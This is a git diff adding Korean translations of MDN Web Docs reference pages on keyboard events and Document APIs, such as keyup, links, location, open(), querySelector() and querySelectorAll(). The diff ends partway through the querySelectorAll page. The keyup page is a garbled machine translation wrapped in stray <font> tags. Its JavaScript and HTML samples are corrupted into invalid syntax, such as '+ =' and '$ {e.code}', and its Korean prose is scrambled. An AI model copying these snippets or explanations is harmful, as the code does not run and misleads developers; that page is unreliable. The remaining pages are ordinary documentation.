+ <td>The language code for the key event, if available; otherwise, the empty string.</td>
+ </tr>
+ <tr>
+ <td><code>ctrlKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>shiftKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>altKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>metaKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="preventDefault()_of_keydown_event"><code>preventDefault()</code> of <code>keydown</code> event</h2>
+
+<p>Starting with Gecko 25, a call of <code>preventDefault()</code> of <code>keydown</code> event prevents to dispatch following <code>keypress</code> event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched <code>keypress</code> event even if <code>preventDefault()</code> of preceding <code>keydown</code> event is called. Although the <code>keypress</code> event's <code>defaultPrevented</code> attribute was <code>true</code> in this case.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html
new file mode 100644
index 0000000000..766928b715
--- /dev/null
+++ b/files/ko/web/api/document/keyup_event/index.html
@@ -0,0 +1,99 @@
+---
+title: 'Document: keyup event'
+slug: Web/API/Document/keyup_event
+translation_of: Web/API/Document/keyup_event
+---
+<div><font><font>{{APIRef}}</font></font></div>
+
+<p><strong><code>keyup</code></strong><font><font>키를 놓을 때 이벤트가 발생합니다.</font></font></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><font><font>거품</font></font></th>
+ <td><font><font>예</font></font></td>
+ </tr>
+ <tr>
+ <th scope="row"><font><font>취소 가능</font></font></th>
+ <td><font><font>예</font></font></td>
+ </tr>
+ <tr>
+ <th scope="row"><font><font>상호 작용</font></font></th>
+ <td><font><font>{{domxref ( "KeyboardEvent")}}</font></font></td>
+ </tr>
+ <tr>
+ <th scope="row"><font><font>이벤트 핸들러 속성</font></font></th>
+ <td><font><font>{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}</font></font></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font></font><code>keyup</code><font><font>이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} </font><font>는 입력 </font><font>된 </font></font><em><font><font>문자를</font></font></em><font><font> 나타냅니다. </font><font>. </font><font>예를 들어, 소문자 "a"는 </font></font><code>keydown</code><font><font>및 </font></font><code>keyup</code><font><font>에서는 </font><font>65로보고 </font><font>되지만에서는 97 </font><font>로보고 </font><font>됩니다 </font></font><code>keypress</code><font><font>. </font><font>모든 이벤트에서 대문자 "A"는 65로보고됩니다.</font></font></p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>참고 :</font></font></strong><font><font> 입력 값의 변경에 대응하는 방법을 찾고 있다면 </font></font><a href="/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code><font><font>event를</font></font></a><font><font> 사용해야합니다 </font><font>. </font></font><code>keyup</code><font><font>예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 </font><font>일부 변경 사항은에서 감지 할 수 없습니다 </font><font>.</font></font></p>
+</div>
+
+<p><font><font>Firefox 65부터 </font></font><code>keyup</code><font><font>CJKT 사용자의 브라우저 간 호환성을 개선하기 위해 </font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font><font>이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 </font></font><a href="https://www.fxsitecompat.com/en-CA/docs/2018/keydown-and-keyup-events-are-now-fired-during-ime-composition/"><font><font>은 IME 작성 중에 keydown 및 keyup 이벤트가 시작</font></font></a><font><font> 됩니다. </font><font>작성의 </font></font><code>keyup</code><font><font>일부인 </font><font>모든 </font><font>이벤트 </font><font>를 무시하려면 </font><font>다음과 같이 수행하십시오 (229는 </font></font><code>keyCode</code><font><font>IME에 의해 처리 된 이벤트 관련에 </font><font>대한 특수 값 세트입니다 </font><font>).</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>eventTarget.addEventListener ( "keyup", event =&gt; { </font></font><font><font>
+ if (event.isComposing || event.keyCode === 229) { </font></font><font><font>
+ return; </font></font><font><font>
+ } </font></font><font><font>
+ // 무언가를합니다 </font></font><font><font>
+});</font></font>
+</pre>
+
+<h2 id="예"><font><font>예</font></font></h2>
+
+<p><font><font>이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.</font></font></p>
+
+<h3 id="addEventListener_키업_예제"><font><font>addEventListener 키업 예제</font></font></h3>
+
+<pre class="brush: html notranslate"><font><font>&lt;p&gt; 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. &lt;/ p&gt; </font></font><font><font>
+&lt;p id = "log"&gt; &lt;/ p&gt;</font></font></pre>
+
+<pre class="brush: js notranslate"><font><font>const log = document.getElementById ( 'log'); </font></font>
+<font><font>
+document.addEventListener ( 'keyup', logKey); </font></font>
+<font><font>
+function logKey (e) { </font></font><font><font>
+ log.textContent + =`$ {e.code}`; </font></font><font><font>
+}</font></font></pre>
+
+<p><font><font>{{EmbedLiveSample ( "addEventListener_keyup_example")}}</font></font></p>
+
+<h3 id="onkeyup_해당"><font><font>onkeyup 해당</font></font></h3>
+
+<pre class="brush: js notranslate"><font><font>document.onkeyup = logKey;</font></font></pre>
+
+<h2 id="명세서"><font><font>명세서</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"><font><font>사양</font></font></th>
+ <th scope="col"><font><font>상태</font></font></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><font><font>{{SpecName ( "UI 이벤트", "# event-type-keyup")}}</font></font></td>
+ <td><font><font>{{Spec2 ( "UI 이벤트")}}</font></font></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<div class="hidden"><font><font>이 페이지의 호환성 표는 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하고 싶다면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 에서 풀 리퀘스트를 보내주세요.</font></font></div>
+
+<p><font><font>{{Compat ( "api.Document.keyup_event")}}</font></font></p>
+
+<h2 id="또한보십시오"><font><font>또한보십시오</font></font></h2>
+
+<ul>
+ <li><font><font>{{domxref ( "Document / keydown_event", "keydown")}}</font></font></li>
+ <li><font><font>{{domxref ( "Document / keypress_event", "keypress")}}</font></font></li>
+ <li><font><font>{{domxref ( "Element")}} : {{domxref ( "Element / keyup_event", "keyup")}} 이벤트</font></font></li>
+</ul>
diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html
new file mode 100644
index 0000000000..4087ef0c0e
--- /dev/null
+++ b/files/ko/web/api/document/links/index.html
@@ -0,0 +1,102 @@
+---
+title: Document.links
+slug: Web/API/Document/links
+tags:
+ - Document
+ - Links
+ - a
+ - area
+ - href
+translation_of: Web/API/Document/links
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>links </code>속성은 document 내에서 <a href="/en-US/docs/Web/API/URLUtils.href">href</a> attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval"><em>nodeList</em> = document.links
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var links = document.links;
+for(var i = 0; i &lt; links.length; i++) {
+ var linkHref = document.createTextNode(links[i].href);
+ var lineBreak = document.createElement("br");
+ document.body.appendChild(linkHref);
+ document.body.appendChild(lineBreak);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td>
+ <td>{{Spec2("DOM2 HTML")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html
new file mode 100644
index 0000000000..96c514e4b9
--- /dev/null
+++ b/files/ko/web/api/document/location/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.location
+slug: Web/API/Document/location
+tags:
+ - API
+ - Document
+ - HTML DOM
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/Document/location
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>Document.location</code></strong> read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.</p>
+
+<p>Though <code>Document.location</code> is a <em>read-only</em> <code>Location</code> object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: <code>document.location = 'http://www.example.com'</code> is a synonym of <code>document.location.href = 'http://www.example.com'</code>.</p>
+
+<p>To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.</p>
+
+<p>If the current document is not in a browsing context, the returned value is <code>null</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>locationObj</em> = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.location")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface of the returned value, {{domxref("Location")}}.</li>
+ <li>A similar information, but attached to the {{Glossary("browsing context")}}, {{domxref("Window.location")}}.</li>
+</ul>
diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html
new file mode 100644
index 0000000000..e7e376fbb2
--- /dev/null
+++ b/files/ko/web/api/document/open/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.open()
+slug: Web/API/Document/open
+translation_of: Web/API/Document/open
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Document.open()</code></strong> 메소드는 문서를  {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.</p>
+
+<p>이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,</p>
+
+<ul>
+ <li>현재까지 등록된 모든 요소와 문서, 문서에 속한 윈도우 소속 이벤트 리스너가 모두 삭제된다.</li>
+ <li>현존했던 모든 요소가 문서에서 삭제된다.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox notranslate">document.open();
+</pre>
+
+<h3 id="인자">인자</h3>
+
+<p>없음.</p>
+
+<h3 id="Return_value반환값">Return value반환값</h3>
+
+<p><code>Document</code> 객체 인스턴스.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. </p>
+
+<pre class="brush: js notranslate">document.open();
+document.write("&lt;p&gt;Hello world!&lt;/p&gt;");
+document.write("&lt;p&gt;I am a fish&lt;/p&gt;");
+document.write("&lt;p&gt;The number is 42&lt;/p&gt;");
+document.close();
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><code>document.open()</code> 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.</p>
+
+<p>Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.<span class="comment">document non-spec'ed parameters to document.open</span></p>
+
+<h3 id="Gecko_특정_참고사항">Gecko 특정 참고사항</h3>
+
+<p>Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.</p>
+
+<p>Starting with Gecko 1.9.2, <code>document.open()</code> uses the <a href="/docs/Security_check_basics">principal</a> of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using <a class="internal" href="/en/wrappedJSObject"><code>wrappedJSObject</code></a>. See <a href="/en/Security_check_basics" title="en/Security check basics">Security check basics</a> for more about principals.</p>
+
+<h2 id="document.open의_인자_3개">document.open()의 인자 3개</h2>
+
+<p>잘 사용하지 않지만, <code>document.open()</code> 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(<code>Window.open()</code> 메소드 참고).</p>
+
+<p>다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 <code>null</code>로 설정한다.</p>
+
+<pre class="brush: js notranslate">document.open('https://www.github.com','', 'noopener=true')</pre>
+
+<h2 id="document.open의_인자_2개">document.open()의 인자 2개</h2>
+
+<p>브라우저에서는 2개의 인자를 가진 <code>document.open()</code> 또한 가지고 있으며, 아래와 같은 구조를 가진다.</p>
+
+<pre class="brush: js notranslate">document.open(<em>type</em>, <em>replace</em>)</pre>
+
+<p>Where <code>type</code> 인자는 문서를 작성할 MIME 형식을 정의하며(예: <code>text/html</code>), 현재 히스토리를 대체(예: <code>"replace"</code>) 하는 새 문서 작성을 시작할 수 있다.</p>
+
+<p>하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 <code>document.open()</code> 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.</p>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td>
+ <td>{{Spec2("DOM2 HTML")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.open")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("Window.open()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..cf3ead8baa
--- /dev/null
+++ b/files/ko/web/api/document/queryselector/index.html
@@ -0,0 +1,130 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+ - API
+ - CSS Selectors
+ - DOM
+ - DOM Elements
+ - Document
+ - Method
+ - Reference
+ - Selectors
+ - Web
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Document.querySelector()</code></strong>는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 <code>null</code>을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 탐색은 깊이우선<sup>depth-first</sup> 전위<sup>pre-order</sup>순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">document.querySelector(<var>selectors</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 <code>SYNTAX_ERR</code> 예외가 발생합니다. <a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a> 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.</p>
+</div>
+
+<h3 id="반환값">반환값</h3>
+
+<p>제공한 <a href="/ko/docs/Web/CSS/CSS_%EC%84%A0%ED%83%9D%EC%9E%90">CSS 선택자</a>를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 <code>null</code>.</p>
+
+<p>선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd><code>selectors</code>의 구문이 유효하지 않음.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>만약 <code>selector</code>가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/Pseudo-elements">CSS 의사 요소</a>는 <a href="http://www.w3.org/TR/selectors-api/#grammar">선택자 API</a>가 명시한 대로 어떠한 요소도 반환하지 않습니다.</p>
+
+<h3 id="특수_문자_이스케이프">특수 문자 이스케이프</h3>
+
+<p>CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시  백슬래시("<code>\</code>")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 <code>querySelector()</code>에 필요합니다.</p>
+
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+ console.log('#foo\bar') // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+ document.querySelector('#foo\bar') // 일치하는 요소 없음
+
+ console.log('#foo\\bar')            // "#foo\bar"
+ console.log('#foo\\\\bar')          // "#foo\\bar"
+ document.querySelector('#foo\\bar') // 첫 번째 &lt;div&gt;
+
+ document.querySelector('#foo:bar') // 일치하는 요소 없음
+ document.querySelector('#foo\\:bar') // 두 번째 &lt;div&gt;
+&lt;/script&gt;
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="클래스를_만족하는_첫_번째_요소_검색">클래스를 만족하는 첫 번째 요소 검색</h3>
+
+<p>아래 예제는 문서에서 "<code>myclass</code>"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.</p>
+
+<pre class="brush: js">var el = document.querySelector(".myclass");
+</pre>
+
+<h3 id="좀_더_복잡한_선택자">좀 더 복잡한 선택자</h3>
+
+<p>아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "<code>user-panel main</code>"인 {{HTMLElement("div")}}(<code>&lt;div class="user-panel main"&gt;</code>) 안의, 이름이 "<code>login</code>"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.</p>
+
+<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]");
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+ <td>{{Spec2("Selectors API Level 2")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+ <td>{{Spec2("Selectors API Level 1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.querySelector")}}</div>
+
+<h2 id="See_also" name="See_also">더 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a></li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..2beb50a1cf
--- /dev/null
+++ b/files/ko/web/api/document/queryselectorall/index.html
@@ -0,0 +1,180 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+ - API
+ - CSS 셀렉터
+ - DOM
+ - querySelectorAll
+ - 다큐먼트
+ - 레퍼런스
+ - 메소드
+ - 셀렉터
+ - 엘리먼트 셀렉팅
+ - 엘리먼트 찾기
+ - 엘리먼트 탐색
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 메소드 <code><strong>querySelectorAll()</strong></code> 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.</p>
+
+<div class="note">
+<p><strong>노트:</strong> 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 <a href="/ko/docs/Web/CSS/CSS_Selectors">CSS 셀렉터</a>여야 합니다; 그렇지 않을 경우, <code>SyntaxError</code> 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Gecko_DOM_Reference/Locating_DOM_elements_using_selectors">셀렉터로 DOM 엘리먼트 찾기</a> 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>노트:</strong> 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로,  그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다.  자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String#%EC%9D%B4%EC%8A%A4%EC%BC%80%EC%9D%B4%ED%94%84_%ED%91%9C%ED%98%84">이스케이프 표현</a>을 확인하세요.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.</p>
+
+<div class="note">
+<p><strong>노트:</strong> 지정한 <code>selectors</code> 가 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Pseudo-elements">CSS 가상 엘리먼트</a>를 포함하면, 반환 리스트는 항상 비어있습니다.</p>
+</div>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>지정한 <code>selectors</code> 문자열의 구문이 유효하지 않습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="일치하는_리스트_얻기">일치하는 리스트 얻기</h3>
+
+<p>다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("p");</pre>
+
+<p>이 예시는 다큐먼트 내의 클래스가 "<code>note</code>" 또는 "<code>alert</code>" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>여기에서는, ID 가 <code>"test"</code> 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 <code>"highlighted"</code> 인 <code>&lt;p&gt;</code> 엘리먼트의 리스트를 얻습니다.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>이 예시는 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a>를 사용해 다큐먼트에서 <code>"data-src"</code> 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>여기에서는, ID 가 <code>"userlist"</code> 인 리스트 내에서 <code>"data-active"</code> 속성 값이 <code>"1"</code> 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="일치_항목에_접근하기">일치 항목에 접근하기</h3>
+
+<p>일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(<code>length</code> 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.</p>
+
+<p>다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+ deleteUser(userItem);
+});</pre>
+
+<h2 id="사용자_노트">사용자 노트</h2>
+
+<p><code>querySelectorAll()</code> 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+ &lt;div class="select"&gt;
